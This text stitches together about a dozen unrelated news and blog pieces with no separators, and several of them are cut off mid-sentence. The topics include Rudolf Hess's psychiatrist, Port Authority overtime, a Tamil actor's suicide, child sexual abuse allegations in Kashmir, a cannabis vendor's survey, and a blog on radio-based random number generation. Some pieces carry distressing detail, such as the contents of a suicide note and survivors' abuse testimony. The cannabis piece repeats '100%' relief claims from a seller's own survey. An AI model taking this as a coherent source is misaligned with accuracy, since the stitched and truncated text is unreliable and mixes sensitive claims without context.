"I think it became important for people to try and guess what Hitler would say if he was on the couch, so then you could try to understand a bit more about how he would behave."
Following his arrival in Scotland, Hess was furious he'd been kept as a prisoner instead of being treated as a peace envoy. He had demanded to meet a senior British official and eventually the government decided to play along, sending the Lord Chancellor John Simon on 10 June 1941.
Dicks recorded Hess's intense anxiety prior to the meeting and attributed it to his unconscious feelings of inferiority around the British. After Lord Simon had rejected Hess's proposals, Dicks worried his patient would spiral out of control. His fears proved correct.
Days later Hess threw himself over the banister of the staircase in the building where he was being held. He demanded to see Dicks in the early hours of the morning then rushed towards him, jumping over the banisters and breaking his leg, according to the psychiatrist.
Hess survived, and his erratic behaviour continued to fascinate his British captors. A dog-like devotion to Hitler is why Hess is thought to have been given such a senior position in the Nazi party.
Dicks and his fellow psychiatrists wanted to form a strategy to de-Nazify the German population. Re-education was one idea that Dicks touched on in his final note before handing Hess's case over to a colleague on 15 July 1941.
He was pathetic and pitiful rather than menacing or unpleasant Dr Henry Dicks, British army psychiatrist
"From his statements to various officers recorded in reports by (intelligence officer) Major Foley, it seems clear that his unconscious admiration of England is now coming more to the surface," he wrote.
"This should be attributed to the wise decision to permit him access to English news and certain periodicals as a basis for educative talks with Major Foley and other officers. This education has had a great deal to do with the disappearance of his delusions."
Dr Jessica Reinisch, from the University of London, says Dicks's belief that he could reason with Hess to try to liberate him from his Hitler obsession was an optimistic view for that time.
The commonly held view among scholars was that there was little hope for the future, because the German mind was unalterably authoritarian, paranoid and militarist.
"Dicks uses his experience with Hess, as well as German prisoners of war in Britain, to say that what he's learnt in these episodes can be directly applied to the problem of de-Nazifying Germans and also selecting suitable candidates for important jobs in the new German administration," says Reinisch.
British doctors wanted to understand the bigger picture of how to address fanatical Nazis' unconscious adoration of authority, says Prof Daniel Pick, of Birkbeck College, University of London, whose research into the subject was the catalyst for finding Dr Dicks's previously unseen notes.
"I think they use Hess with the idea that Hess is an extreme, fanatical Nazi type who's drawn to Hitler for reasons also to do with very personal unconscious factors, including the search for an authority figure who will substitute for an authoritarian father figure.
Image caption Hess flew solo to Scotland in an apparently unauthorised peace mission
"At the same time that Hess was being studied the American secret services commissioned a psychoanalyst to study Hitler's mind," adds Pick.
In 1942, and still a British prisoner, Hess was moved to Maindiff Court military hospital in Abergavenny, where he stayed until the end of the war.
Then during an often bizarre performance at the Nuremberg trials, Hess was sentenced to life in prison. Many at the time thought him mentally unfit to be on trial and the British Prime Minister Winston Churchill later acknowledged that he considered Hess to have been a medical case rather than a criminal case.
Dicks later said that no one who met Hess could believe he could have held such high power.
"He was pathetic and pitiful rather than menacing or unpleasant," Dicks later said in an interview. "We who surrounded him always felt that this was a very insecure man who had been greatly damaged somehow in his earlier life and if only better means had existed, if only he hadn't had been such an important prisoner of state, we might have done more for him."
Hess died in Spandau Prison in 1987, aged 93. The official cause of death given was suicide, but - as is typical about most things involving Hess - other theories abound, including that the Allies had him murdered.Port Authority Police responded to a Greyhound Bus after accident at West 40th Street and Dyer Avenue. View Full Caption DNAinfo/Kareem Johnson
NEW YORK CITY — At least three Port Authority officers made more than $300,000 each last year thanks to overtime pay that tripled their salaries, DNAinfo New York has learned.
In fact, one $300,000-plus officer made so much overtime that he had to have worked more extra eight-hour shifts than there are days in the year, Port Authority records provided to DNAinfo New York's “On the Inside” show.
That officer, Andrew Kurpat, a 25-year veteran working at the World Trade Center, made $316,213 last year, more than triple his $90,000 base salary, thanks largely to $200,233 in overtime.
Based on his overtime rate of $64.89 an hour, which is 1.5 times his regular hourly pay, Karput worked 3,085 overtime hours — an amount that's the equivalent of 385 extra eight-hour shifts.
“It is a helluva lot of overtime, no question, but it happens when everyone else passes on taking it and where someone is willing,” a union official said.
Union officials blame the Port Authority for not hiring enough officers to protect the agency's high-profile facilities, and then find themselves literally forcing overtime on their officers to cover bustling airports and transportation hubs when a terror threat occurs here, or overseas.
Karpat, meanwhile, even with his overtime windfall, was not the top Port Authority police earner last year.
Sgt. Kevin Cottrell was paid $319,922 last year, including included $157,604 in overtime and add-ons such as extra pay for night shifts, which tripled his $107,911 base pay,
The other member of the $300,000 club was Officer Elvin Erickson, who raked in $311,213 last year — more than triple his $90,000 base salary — thanks primarily to $170,000 in overtime.
In addition to the trio who cracked the $300,000 ceiling, 11 more officers made between $250,000 and $300,000, and nine others raked in between $234,000 and $250,000.
By comparison, Port Authority Chairman Patrick Foye made $289,667 last year. Michael Fedorko, superintendent of the 2,000-member Port Authority police force, makes $215,098, and NYPD Commissioner James O’Neill is paid $215,306.
DNAinfo reviewed the most current publicly available Port Authority salary records that covered Jan. 1 through Oct. 31, 2016, and then requested additional information about the top 22 officers who racked up more than $110,000 in overtime. The Port Authority then provided the complete 2016 salary data for those officers to DNAinfo.
Updated information for the entire force covering all of 2016 will not be available publicly for at least a month.
Meanwhile, eight of the high-earning officers are veterans with at least 20 years on the force, which makes them eligible to retire with pensions that are least 50 percent of their highest 36 consecutive months' salary — guaranteeing them at least $150,000 or more annually for the rest of their lives.
A Port Authority police spokesman Joseph Pentangelo said the agency "has been working diligently to reduce overtime" and is "focused on ensuring efficient use of staff hours."
Overtime, he said, accounts for about 17 percent of the agency’s labor costs reflecting "heightened security costs, training and demand" due to "global terrorism events" that require manpower surges to "protect the traveling public."
But Paul Nunziato, the Port Authority Police Benevolent Association, countered that the problem is habitual understaffing based on the PA’s belief that it is cheaper to pay overtime than to hire more officers with their additional health and pension benefit costs.
“The Port Authority has been an epic failure in providing proper police manpower in the post-9/11 world protecting the highest profile targets in the nation,” Nunziato said, pointing out how the authority has to handle sudden "terror" coverage with overtime.
Robert Egbert, the union's spokesman, added that "people have to understand that a significant amount of overtime that a police officer receives is not voluntary and, in fact, is ordered by supervisors and Port Authority officials to guarantee coverage because there is not enough manpower.”
At the WTC, PATH trains and the three metropolitan area airports alone, the PA "forced" officers to work more than 40,000 hours of overtime last year when they ran out of volunteers, Egbert said.
“The Port Authority always plans for a sunny day, but every day at Port Authority facilities, it is raining,” Nunziato said.
DNAinfo reported three years ago that eight PA officers broke the $300,000 ceiling thanks to overtime that more than tripled their base pay, with a total of 11 making more than the chairmen who jointly ran the bi-state agency that year.
Under union rules, overtime is handed out only to those willing to accept it, and heavy overtime earners only receive more overtime when others decline to take it. If no officer is willing to work an extra shift, the Port Authority has the power to “force” someone to remain on duty, officials said.
The Port Authority Police Department graduated a class of roughly 100 recruits in December 2016, and is in the process of training a new class, which "should help lessen the need for additional overtime going forward," the agency spokesman added.Many wireless companies — which must collect some data — also do not retain some other records. | AP Photo DoJ: Make ISPs keep tabs on users
As a new Senate privacy panel considers the data collected by iPhones, Androids and BlackBerrys, the Department of Justice is reminding lawmakers that it needs Internet providers to store more data about their users to help with federal investigations.
Current law doesn't require those Internet service providers to "retain any data for any particular length of time," although some already do, said Jason Weinstein, deputy assistant attorney general at the DOJ's Criminal Division. And many wireless companies — which must collect some data — also "do not retain records that would enable law enforcement to identify a suspect's smartphone based on the IP address collected by websites the suspect visited," he noted in prepared testimony.
Story Continued Below
That's why Weinstein urged the Senate Judiciary’s Privacy, Technology and the Law subcommittee on Tuesday to consider data-retention legislation as it weighs new privacy efforts in the digital age. The top DOJ official said such a congressional fix would boost the agency's ability to investigate privacy breaches, prosecute other digital crimes and ferret out abuses in the offline world.
"Those records are an absolutely necessary link in the investigative chain," Weinstein told the panel.
Data retention has proven to be a particularly divisive issue in the privacy community. Some top tech stakeholders believe it would allow companies and law enforcement agencies too much access to consumers' personal information, such as the websites they visit. The resulting caches of information could further be subject to data breach, many argue.
But data-retention rules are particularly appealing to DOJ, which argued at a hearing earlier this year that such legislation would assist greatly with cyberstalking and other tough law enforcement investigations. Weinstein stressed Tuesday the department seeks a law that would require providers to keep records for a “reasonable period of time,” and seeks a “balance” between the needs of law enforcement, private industry and consumers.
This article first appeared on POLITICO Pro at 11:51 a.m. on May 10, 2011.3 years ago
To the RWBY and RT community,
I wanted to say a few words of thanks to everyone. ^_^
With the end of RWBY season 3 comes the end of my first attempt as a voice actor and the last 3-4 months have been both mysterious and incredible! 12 episodes later and it still feels strange hearing myself on screen. =P
I look back on this latest season of RWBY and see just how lucky I am to have been given a chance to take part in it. There is no way for me to express how grateful I am for all of the support I received. I went from being a stranger to someone being cheered and encouraged to help carry on my brother's work. His friends and fans became my friends and fans.
With so much support, I will continue to try and improve as I fill in for him as Ren's voice.
However, much more than I, there are others who deserve to be recognized. Although I voiced Ren, my part in the creation of season 3 was very small compared to the artists, writers, animators, voice actors and everyone else who poured their hearts and souls into it.
So thank you to them and to everyone supporting RWBY and the RT community! Whether a fan or someone who took part in RWBY's creation and continuation, I'm sure he's happy that RWBY is continuing. =)
Neath Oum
P.S. Sorry this took so long! Had a really tough time translating this to Japanese but finally got it done. d^_^
RWBYとRTコミュニティーへ
皆さんにちょっとありがたいと伝いたかったです。 ^_^
RWBYシーズン３が終わって、同時で私の声優の初回が終わりますし、最後の3－4月が両方不思議と凄いでした！12話の後、スクリーンから自分の声を聞くのがまだ慣れてないです。 =P
最後のRWBYのシーズンを省みて、与るチャンスを貰って、私はどのぐらいラッキーと見えます。全部の貰ったサポートについて、どのぐらい一杯感謝していると伝いたいけど、言う方法が考えません。弟の作品を手伝って続くことに私は知らない人から応援と声援されている人になりました。弟の友達とファンが私の友達とファンになりました。
このぐらい一杯サポートがあって、弟の代わりにレンの役するながら、腕を上げるのが頑張って続きます。
でも、私の上に、他の人々は賞賛に値します。私はレンの役しましたが、シーズン３作る事について、芸術家と作者とアニメーターと声優と他の一生懸命頑張っていた人たちの分と比べると私の分が小さいです。
ですから、その人たちとRWBYとRTコミュニティーをサポートしている皆さんにも有難うございました！RWBYのファンかRWBYの作りと続きに与る人も、RWBYが続ているのことに弟が嬉しいと思います。
オム・ニース
P.S. 遅くてすみません！日本語に翻訳するのが難しかったが、やっとできました。 d^_^
P.P.S. 色々の翻訳のミスがあればすみません！私はあんまり使わない言葉が多いでした。 =PPrime Minister Tammam Salam warned Monday that Lebanon was in "serious danger" and faced the risk of collapse if the international community does not act quickly to help it cope with the heavy influx of Syrian refugees, which is straining the country's struggling economy and infrastructure and threatening its stability.
Addressing a U.N. summit on refugees and migrants on the sidelines of the 71st session of the United Nations General Assembly in New York, Salam called on the international community to set up a detailed road map to ensure the safe return of Syrian refugees in Lebanon to their homeland.
He laid out a five-point plan to ease Lebanon's burden of more than 1 million Syrian refugees, in addition to half a million Palestinian refugees.
Salam pointed out that since the crisis began in Syria in 2011, over 100,000 Syrian babies were born in Lebanon, and over 50 percent of them were born in the last 18 months.
Just over 1 million Syrian refugees in Lebanon are registered with the U.N., but the actual number is believed to be much higher.
...A Pro Bowler kicker in 2007, Bironas has spent the last eight seasons with the Titans and ranks as the third most accurate kicker in NFL history (85.6%). He also ranks as the second leading scorer (916 points) in franchise history, behind only Al Del Greco.
On three different occasions (2007-08, 2010, 2011-12) Bironas has matched the franchise mark for the most consecutive field goals made (20) and holds the franchise mark for consecutive games with a field goal at 20 games. He also holds two NFL records – most field goals made in a game (8) and most consecutive games with a field goal from 40-yards or longer (10).
Last season, Bironas scored 110 points, while making 25 of 31 field goals. He has made 11 game-winning field goals during his Titans career, including two last season against Detroit and Pittsburgh. In each of his seasons with Tennessee, Bironas has converted at least one 50-yard field goal or longer; and he holds the franchise record for the longest field goal, a 60-yarder against Indianapolis in 2006.Urawa Reds striker Tadanari Lee has urged Japanese soccer to follow the Premier League’s zero-tolerance attitude toward racism after taking part in the first J. League game to be played behind doors.
Urawa drew 1-1 with Shimizu S-Pulse on Sunday at an empty Saitama Stadium after the J. League handed the club an unprecedented one-game supporter ban for a “Japanese only” banner hung by fans over an entrance to a stand at a game earlier this month.
Lee, who joined Urawa from English side Southampton at the start of the year, has suffered racist abuse in the past as a Zainichi Korean born and raised in Tokyo, and applauded the J. League’s efforts to tackle discrimination in Japanese stadiums.
“Of course there are times when I feel it,” said Lee, who scored Japan’s winning goal in the 2011 Asian Cup final. “One thing I can say is that sport is not something to bring discrimination into. I’m a football player and all I want to do is play football. I’d really like this kind of thing to stop.
“When this kind of incident (the Urawa fans’ banner) happens in the Premier League, even if it’s just a small thing they come down really hard on it. The clubs are really good about that over there.”
Sunday’s match was played in a surreal atmosphere at the 63,700-capacity World Cup venue, with advertising hoardings stripped out and signs promoting the U.N.’s Sports for Peace program on prominent display.
“I’d like people to have a greater awareness of this issue,” said Lee. “Through the media, a lot of people know what this game was all about and why it happened. We wore the Sports for Peace T-shirts and we were happy to play our part. Hopefully we can keep doing so.”
S-Pulse defender Calvin Jong-a-Pin says he encountered racism as a black man growing up in the Netherlands, and backed the J. League’s decision to crack down on Urawa.
“I’ve been here for 2½ years, and I heard that the fans did it more times and they just got fined now by the J. League,” said Jong-a-Pin. “I think they had to do it at some point to kick out racism in soccer.
“It’s something that you have to deal with in life. I feel that everybody has to deal with it in some kind of way. I’m black, women have it in jobs, big clubs, small clubs — you just have to make a difference to go through that and be strong.”
J. League chairman Mitsuru Murai stressed on announcing the punishment that Urawa’s failure to remove the banner before the March 8 game against Sagan Tosu had ended made the club just as culpable as the fans who displayed it.
Jong-a-Pin believes standing up to racism is not always easy, but congratulated the |
police are investigating his death, but his friends, family and colleagues are distraught, unable to react to his sudden demise. Those who know him say that he was depressed and under pressure due to family and financial problems. But industry insiders also point out as to how chronic depression is plaguing the entire TV serial industry and young people are dying with no one to help.
Also read: 'Just be happy' is bad advice for depression, there is no shame in seeking medical help
The suicide note
In a purported letter to his wife Sujitha which he reportedly wrote before he died, he says that she is not to blame for his decision. He tells her that his death will not create any problem for her, and that all her jewellery will be returned to her along with Rs. 5 lakhs.
He tells her to “leave her anger” at least after his death and that he was a good father to his daughter Rakshitha.
He also writes that no one should fight over his death and that only he was a problem.He also mentions Radikaa Sarathkumar as his “mother”, and thanks her and her company Radaan for their support.
Sai Prashant: Fun outside, depressed within
Sai Prashant was a talented actor and mimic popular among Tamil TV audiences. He was known for his role in the popular TV serial Thamarai. He was divorced from his first wife and married Sujitha recently after falling in love with her. He had one daughter, Rakshita.
“He was talented and full of life. He was such a fun person, and a great mimic. He was a very good artiste. He has drawn a very good picture of Sarathkumar and gifted it to us. I just saw him last week, I cannot believe this has happened,” says Radikaa Sarathkumar, “I am very upset at the whole thing.”
Radikaa remembers how much fun he was, the last time they met. “He was saying I want to do this, and I want to do that. I encouraged him. But I told him to lose weight or it was going to get difficult for him, and he said he will try,” says Radikaa.
“I shot scenes with him on March 10, and I was to shoot with him now. I am so upset,” says Neelima, a TV serial actress he was working with, on Thamarai. “I knew he had problems and I was asking him to get out of this phase. But this is a shock,” she says.
Sai Prashant is believed to have been severely depressed.
“I don’t understand how depression can lead people to take such a step,” says Radikaa, in a dejected tone, failing to find words to express her feelings, “I can’t understand what drove him to this.”
“It must have been an instant decision,” says Neelima, who worked closely with him, “and there was nobody with him, so he died. He was lonely.”
“I told him to get out of his depression, I encouraged him. But he did nothing about it. Perhaps medication or counselling would have helped him. But he didn’t take any help,” says Neelima.
His friends say that he was under pressure from family over personal issues and was dealing with financial pressure too. He is believed to have had suicidal tendencies and even slit his hand a few days ago, according to a person close to him.
“At one point, I think we just stopped listening to him,” says Neelima, “We should have been there for him.”
Depression plagues TV industry
“Depression can be so deceiving,” says Radikaa, adding that that this is becoming an industry wide problem.
The Nadigar Sangam has announced that they will set up a counselling centre to help actors with mental illnesses.
Syamantha Kiran, a TV serial actress, says that Sai Prashanth was not alone, there are many who are facing such problems.
“It is not a steady career, there are lot of fluctuations. People start comparing themselves with others. Obviously not everyone can do well - some do now, some do later, some never do well. So this gets to a lot of artises and they cannot handle it,” says Syamantha.
“I don’t want to talk too much about his death, he is gone. But there are so many others," says Neelima, “We are all under a lot of pressure as artists, personal and financial.”
Neelima says that several other TV artistes – like Charukesh, Vaishnavi and Shraddha – have succumbed to the pressure and taken to suicide.
“Why can’t youngsters in this generation take ‘no’ for an answer? I say this everywhere I go, that it’s ok, they should just move on. The disappointment gets to them so badly, it’s scary,” says Radikaa.
Syamantha adds that family support is very important for artistes to stay sane and happy, “As it is there is so much stigma attached to media. If you are not performing well, then your family is always mocking you or discouraging you. That must stop, most people have no idea how difficult it is for us.”
Also read: Exam pressures and depression: How good intentions kill childhood
The suicide notes earlier posted have been removed.One-hundred percent (100%) of people with migraine headache, fibromyalgia or irritable bowel syndrome who use medical marijuana for a minimum of 30 days report a reduction in pain and discomfort, a survey of 621 by the Care By Design found.
People included in the survey suffer from a range of different conditions, and some suffer from multiple conditions, including:
Psychiatric disorders (24%) Anxiety, PTSD, depression, autism, addiction
Inflammatory conditions (19%) Arthritis, rheumatism, Crohn’s disease, irritable bowel syndrome
Pain (14%) Neuropathic pain, headaches, migraines, fibromyalgia
Central nervous system disorders (12%) Multiple sclerosis, epilepsy, spinal cord injury, Parkinson’s, Traumatic Brain Injury (TBI)
Cancer-related symptoms (12%)
Cannabis and Well-Being
“A majority of patients (88.2%) reported that cannabis therapy improved their overall sense of wellbeing,” the study found. “Patients with fibromyalgia, headaches and migraines, PTSD and anxiety reported the greatest improvement in general wellbeing (as compared to other patient groups).”
Cannabis and Pain
“A majority of all patients (72.6%) reported a decrease in pain or discomfort. All patients (100%) with headaches and migraines, fibromyalgia, irritable bowel syndrome (IBS), and spinal cord injury reported a decrease in pain or discomfort. Less than 1% of patients reported an increase in pain or discomfort after CBD-rich cannabis therapy. (All patients reporting an increase in pain reported using CBD for ALS.)”
Cannabis and Mood
“A majority of all patients (64.2%) reported an improvement in mood. All patients (100%) with PTSD and spinal cord injuries reported an improvement in mood. Some patients with sleep problems (8%) and cancer (3%) reported a worsening of mood. While a majority of patients taking CBD-rich cannabis for “general wellbeing” rather than for a specific medical condition reported improved mood (66.7%), this group was also the most likely to report a worsening of mood (16.7%).”
Cannabis and Energy Levels
Half of all patients (50.4%) reported no change in energy level. The patients most likely to report increased energy levels were those with inflammation (64.0%), fibromyalgia (57.1%), and PTSD (55.6%). Patients with headaches or migraines were the most likely to report reduced energy levels (37.5%).
The survey was conducted by Care by Design, which sells CBD cannabis sprays, oils and vape cartridges, so the survey has some weaknesses. A high percentage of survey participants (42%) reported that they did not know the ratio of CBD-to-THC they were taking.
“This report represents preliminary data based on less than one thousand patients. It is not meant to provide patients with guidance on dosing or medical treatment. Rather, it is meant to suggest possible areas for additional research.”
Subscribe to our blog via emailFirst Lady Michelle Obama joined her husband Wednesday in advocacating for his health reform law for a “Meeting with Moms” to talk about the Affordable Care Act.
But in an interview with Rev. Al Sharpton set to air on his radio show Thursday, she revealed one of the most frightening experiences she had as a mother– describing how her daughter Sasha once got meningitis – to help illustrate why she believes the health reform law is so important.
“I will never forget. It was a day when, you know, one hour she was fine, she was normal, she was happy, doing everything I was used to her doing and the next hour she was crying inconsolably, and that just wasn’t like her. And I did everything,” she said. “I tried to do – tried to feed her, tried to rock her, tried to burp her. Finally, I just thought, I need to call my pediatrician.”
“We had health insurance, which meant I had a really good relationship with our pediatrician. So he knew me, and he knew I wasn’t the kind of mother to call up just because my baby was crying,” she continued, adding that after she described the baby’s symptoms, he insisted they rush to the emergency room.
“As it turned out, she had meningitis. And they had to do a spinal tap. She turned out – obviously, as this story ends, she is fine, she’s healthy, she’s a beautiful young lady, but if we hadn’t had insurance, and access to a pediatrician, and access to a hospital where we didn’t have to worry about the cost of care… If we had waited overnight, if we had postponed acting, there’s no telling what the outcome would’ve been,” she said. “And that’s why for me as a mother, I am just – you know, I just can’t put into words how important it is for every American, for every mother, for every person in this country to have health care, because you just never know what kind of curveballs life is going to throw you.”
It’s not the first time the Obama family has talked about Sasha’s illness. The topic came up during the 2012 campaign when the president dined with supporters. “Your world narrows to this very small point,” he said of the experience. “There’s one thing you care about, you don’t care about anything else.”
The first lady explained why she believes mothers are the most important group to talk to about this issue.
“Mothers are the ones who make the decisions about health care in their families,” she said. “They’re the ones dealing with sickness on a regular basis. They’re the ones who have the ear to their kids, their teenagers, their young adults who think they’re invincible and don’t need insurance. We’re talking to them because they’re the ones with the stories just like me.”
“I want people to have the peace of mind that I have,” she said, “because it’s hard enough being a mother, trying to raise kids and then worrying about whether, if they get sick whether you can help them. There is nothing more powerless than being a mother who can’t help their child when they’re sick. That’s just to me untenable.”Peer Aijaz Sheikh has indeed left indelible scars on his alleged victims. Speaking to Mail Today, the rape survivors recall chilling tales of abuse, fear and pain inflicted upon by Sheikh, who has been accused of raping minor boys in Kashmir on the pretext of warding off evil by summoning jinns.
The alleged victims of Sheikh, known as Maulvi Sahab among locals, were so naive that some of them even thought that they would get pregnant and for years lived in the fear of having contracted sexually transmitted diseases (STDs). Some of the rape survivors have reportedly developed medical complications after being sodomised.
The victims alleged that they had no choice but to quietly follow the Peer's directions as their families had blind faith in him. Sheikh is currently out on bail and the next hearing of the case in scheduled for September 27.
RAPE SURVIVORS SPEAK UP
"I was 11-year-old when my uncle took me to Aijaz Sheikh. I was sexually abused several times. One night, there were around 10-11 children in the age group of 11 to 14 at his house. He forced us to perform sexual acts from evening until next morning. He used to watch us and would then decide to rape the most attractive boys present there," alleged a victim. Similarly, another victim said Sheikh was a sadist and he was so obsessed with sexual exploitation that he would actually rape kids in front of each other in different positions.
"Once, he sexually abused me to the extent that I fell down on the ground and was badly hurt. I was so innocent that I asked myself what if I get pregnant? What am I going to tell my parents if that happens? For years to come, I feared that I might have also contracted some STDs. Having come out against the accused makes me feel scared for my life." The alleged victims, some of whom are in their teenage now, still can't forget the nightmares. One of the teen rape survivors, who claim to have been abused for four years, told Mail Today, "I was forced to drop out from school as I had to oblige the Peer's demands. I miss school. Wish I had never gone there. I want to go back to school and finish my studies."
Interestingly, the Peer's alleged abuse dates back to the time when he used to teach Quran and Arabic in a school. "I was in Class 4 when I met the Peer. One day he took me to his leisure house in Dangerpora. He would tell his followers to bring a child aged 12 or below, and let the child to spend the night with him. When I was there he told me that I had to sleep in his room, for which I would get money. Soon I found his dark side. He would rape me while pretending to be possessed by jinn. But one day, he mistakenly exposed himself to me and then I realised that I was being abused. I got angry on hearing this and gathered courage to threaten him," said an alleged victim, who was also his student.
SURVIVORS SHOWING SIGNS OF DEPRESSION
Mail Today also spoke to the psychologist who is counseling some of the rape survivors in this case. She said these victims have shown symptoms of depression, anxiety, guilt and fear.
"It is not just their physical health, but even their emotional and mental wellbeing have been deeply impacted. The incident has affected their desire to live." While the matter is in the court, the absence of a child protection Act like POCSO (Protection of Children from Sexual Offences) has devoid the victims of the sensitive approach to deal with such cases. According to child rights' activist and advocate Anant Asthana, a special law like POCSO is the need of the hour in Jammu and Kashmir to help child victims of sexual offences in availing support from authorities, immediate compensation and a stringent criminal justice system for speedy trial.
"Good thing in POCSO Act is that it not only takes in account the vulnerabilities of victims but also takes cognisance if criminals are the persons who hold authority, influence or dominance over the child in any manner. May be not the entire POCSO Act but a substantial part of it, which strengthens a child victim of sexual offence, must be legislated in J&K. It brings in focus that victims of sexual offences can also be a male child and it is as horrendous as rape of a female child." Asthana said not only a special law but also an independent and strong state commission for protection of child rights in J&K is very essential. "In fact, we need to think of bringing a law better than POCSO because circumstances of children in J&K are much more difficult and complicated. We need to pay more attention on aspects of maintaining absolute privacy of children, more effective measures for protection of victims and witnesses and increased financial allocations for rehabilitation of victims of sexual offences."You need randomness. A lot of it. Good quality and fast.
If you run any servers which use SSL, you need somewhere around 108 bytes of randomness for each connection. If you don't have enough, or you use a biased source, your private RSA keys might be trivially factorable. Thousands of private RSA keys have been recovered by researchers. If you let others generate your RSA keys they can be easily backdoored and there is no way for you to know.
Where does this randomness come from? On Linux, it comes from a pseudo random number generator (PRNG) called /dev/urandom. PRNGs are just algorithms that have an internal state and produce numbers indistinguishable from randomness to those unaware of that state. If you knew the state, you could figure out what random numbers were next in the stream.
There's another PRNG on Linux and other Unix-like systems that some people mistakenly think is a true RNG, /dev/random. It's the exact same as /dev/urandom except for one key difference: it measures how much entropy it has remaining, and it will block until it has more. The primary entropy pool will be empty when its drained faster than its restored.
Restoring entropy to the primary pool is done through events like mouse activity or network activity. The more events, the more entropy is in the pool. Events must be generated externally and must be able to be measured. For instance, let's say your server receives the following packets:
Timestamp (ms) Port Size ------------------------------------------ 1410966238020 TCP port 23415 4522 bytes 1410966238021 TCP port 80 40 bytes 1410966238193 TCP port 80 9291 bytes 1410966238261 TCP port 23415 4522 bytes 1410966238311 UDP port 3241 243 bytes
And now you want to turn this information into entropy. You can't just take the size of the packets or the port number and feed them in as random numbers. They're certainly not random, and attackers can control them by just sending you packets. You can't use the data from the packets for the same reason.
You could, however, use the timestamp. But you can't use the entire timestamp as a random number, because the bits of 1410966238020 are not all equally random. The more significant numbers, for instance, the leading 1, change on the order of decades. The numbers at the end change every millisecond. It's hard for attackers to predict the least significant bit, whether the time will be even or odd.
|---- MSB, least random v 000000010100100010000100001001000011001101000100 ^ LSB, most random ------|
And this is what the Linux kernel and other operating systems do to seed their entropy pool: they take the LSB of mouse movement timing, packet arrival times, disk read times, and so on. No attacker could predict something so minute. Thermal randomness is enough to throw off such measurements, especially when they're measured in nanoseconds.
If we want to have a continual source of good randomness, we need a way to get some LSBs fast. A popular method in the past as been sound cards with no input, but there are a few problems with this method:
The sampling rate is quite low, so there's no way to get a very large amount of data. If you plug in a strong, known source into the source card port you can force the RNG to known values. Use epoxy or else. Servers don't have sound cards anymore.
RdRand, available on Intel Ivy Bridge CPUs, is another hardware random number generator. Originally it was used as the only source of randomness in /dev/random in FreeBSD, while in Linux it was used in conjunction with a PRNG. The FreeBSD developers said that because of the high likelihood of backdoors in hardware RNGs, they could not continue using it without a PRNG.
We can do better. The perfect hardware RNG would be cheap, fast, and verifiable. I think that I've found just that.
The setup
I bought a bladeRF back when it was a Kickstarter project because I wanted to experiment with RF, specifically GSM. My experiments with that will probably be in another blog post, but I really liked how everything with the bladeRF is open source, including the FPGA HDL code. Its sampling rate is miles ahead of other SDRs, so I knew it could do everything I wanted it to.
After reading about the backdoors in Dual_EC_DRBG, I wanted to know more about hardware RNGs. I stumbled upon rtl-entropy, a project that uses RF sources for randomness. I plugged in my handy antenna, compiled brf-entropy, and set to work.
If you don't want to buy a bladeRF, rtl-entropy also supports the RTL-SDR, a cheap software-defined radio that can be used for this purpose. You'll need to change the brf_entropy command to rtl_entropy in the following sections and your frequency range might be different.
Using it
First, we need to start up the entropy collector:
# brf_entropy -f 850MHz -b
Then we need to start up rngd which will sample from the randomness and add it to the /dev/random pool.
# rngd -r /var/run/rtl_entropy.fifo -W95%
Now our bladeRF is connected to /dev/random directly. It won't block as much because we're adding a lot of randomness to it. Here's a simple test:
# timeout 60s /bin/bash -c "cat /dev/random > dev.random.brf" # killall brf_entropy rngd # timeout 60s /bin/bash -c "cat /dev/random > dev.random.no.brf" # timeout 60s /bin/bash -c "cat /dev/urandom > dev.urandom"
This will create three files: one that's sourced from /dev/random for 60 seconds, with rngd feeding randomness from the bladeRF, another that's sourced from /dev/random for 60 seconds but without the bladeRF, and a third from /dev/urandom for comparison. Let's see how many bytes could be read in this time.
# ls -Al -rw-r--r-- 1 root root 21016277 Sep 6 18:29 dev.random.brf -rw-r--r-- 1 root root 22 Sep 6 18:31 dev.random.no.brf -rw-r--r-- 1 root root 769130496 Sep 6 18:35 dev.urandom
We only got a measly 22 bytes from /dev/random with no hardware RNG.
The CPU usage in my one core virtual machine while reading from /dev/random with cat:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16109 root 20 0 130512 9700 1060 S 62.5 0.5 0:23.66 brf_entropy 16124 root 20 0 11412 612 516 S 16.3 0.0 0:06.47 cat 16113 root 20 0 8964 336 224 S 13.6 0.0 0:05.43 rngd
And from /dev/urandom:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16149 root 20 0 11412 612 516 R 94.8 0.0 0:12.87 cat
What's next
I think having an easy-to-verify hardware random number generator is important. DJB points out that we need verifiable RNGs, but he cautions that just adding more entropy won't necessarily help. I think hardware RNGs will be important in a small but critical number of applications.
I'm hoping that the rtl-entropy project will add more randomness tests and maybe implement something like frequency sampling so that if it seems like someone is manipulating a particular frequency, it can find a frequency more amenable for its purpose. We'll also need to audit both it and bladeRF, which is fortunately possible because both are open source.
Random number generators form the cornerstone of secure cryptography. In light of backdoored software RNGs and closed hardware RNGs, we need open, verifiable ways to generate random numbers. Yarrow and Fortuna are what we need in software. The bladeRF and rtl-entropy may be what we need in hardware.MOTÖRHEAD was forced to cut its concert in Austin, Texas short last night (Tuesday, September 1) due to continued health issues experienced by the band's frontman, Lemmy Kilmister.
According to GlideMagazine.com, MOTÖRHEAD delivered only three songs — "Damage Case", "Stay Clean" and "We Are Motörhead" — before a "fatigued and winded" Lemmy announced the next track, "Metropolis", and then let out a sigh, telling the crowd, "I can't do it." He then left the stage at Emo's with the rest of his band and returned moments later and apologized to a disappointed but supportive audience. He said: "You are one of the best gigs in America, and I would love to play for you, but I can't… So please accept my apologies. Next time, all right?" The house lights and music then came on, before "concerned" and "slightly annoyed" fans began funneling out.
Fan-filmed video footage of MOTÖRHEAD's entire Austin appearance — shot from the front row — can be seen below.
The latest MOTÖRHEAD walk-off follows a similarly abbreviated performance last week in Salt Lake City, where the band cited the high altitude as the reason behind Lemmy's inability to breathe. A show in Denver, at an even higher altitude, was scrapped the following day before MOTÖRHEAD ever took the stage.
Lemmy, who turned 69 years old in December, in 2013 suffered a haematoma (where blood collects outside of a blood vessel), causing the cancelation of a number of the band's European festival shows. The band has since scrapped a couple of tours and, during the 2013 edition of the Wacken Open Air festival in Germany, abandoned its set midway through so Lemmy could be taken to the hospital.
"I've had some health scares," Lemmy told Kerrang! last month, "and I've had to really cut back on smoking and drinking and whatever. But it is what it is. I've had a good life, a good run. I do what I do still. I'm sure I'll die on the road, one way or another."
Asked if he is afraid of death, Lemmy said, "No."
